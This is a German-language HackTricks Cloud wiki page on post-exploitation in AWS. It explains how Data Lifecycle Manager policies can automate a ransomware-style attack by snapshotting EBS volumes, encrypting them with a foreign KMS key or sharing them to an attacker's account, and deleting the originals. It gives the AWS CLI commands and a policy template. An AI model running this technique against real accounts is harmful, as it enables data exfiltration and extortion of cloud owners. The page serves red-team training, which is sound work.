AWS - DLM Post Exploitation
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Datenlebenszyklus-Manager (DLM)
EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy
Ein ransomware-Angriff kann ausgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und anschließend die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese bösartige Aktivität zu automatisieren, kann Amazon DLM eingesetzt werden, wobei die Snapshots mit einem KMS key aus einem anderen AWS-Konto verschlüsselt und die verschlüsselten Snapshots in ein anderes Konto übertragen werden. Alternativ könnten Snapshots unverschlüsselt in ein eigenes Konto übertragen und dort verschlüsselt werden. Auch wenn es nicht trivial ist, vorhandene EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu erreichen, indem ein neues Volume oder ein neuer Snapshot erstellt wird.
Zuerst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie instance ID, volume ID, encryption status, attachment status und volume type.
aws ec2 describe-volumes
Als Nächstes erstellt man die Lifecycle-Policy. Dieser Befehl verwendet die DLM-API, um eine Lifecycle-Policy einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Sie fügt den Snapshots außerdem bestimmte Tags hinzu und kopiert Tags von den Volumes auf die Snapshots. Die Datei policyDetails.json enthält die Details der Lifecycle-Policy, wie target tags, schedule, die ARN des optionalen KMS key für die Verschlüsselung und das Zielkonto für das Teilen der Snapshots, was in den CloudTrail-Logs des Opfers protokolliert wird.
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
Eine Vorlage für das Richtliniendokument kann hier eingesehen werden:
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud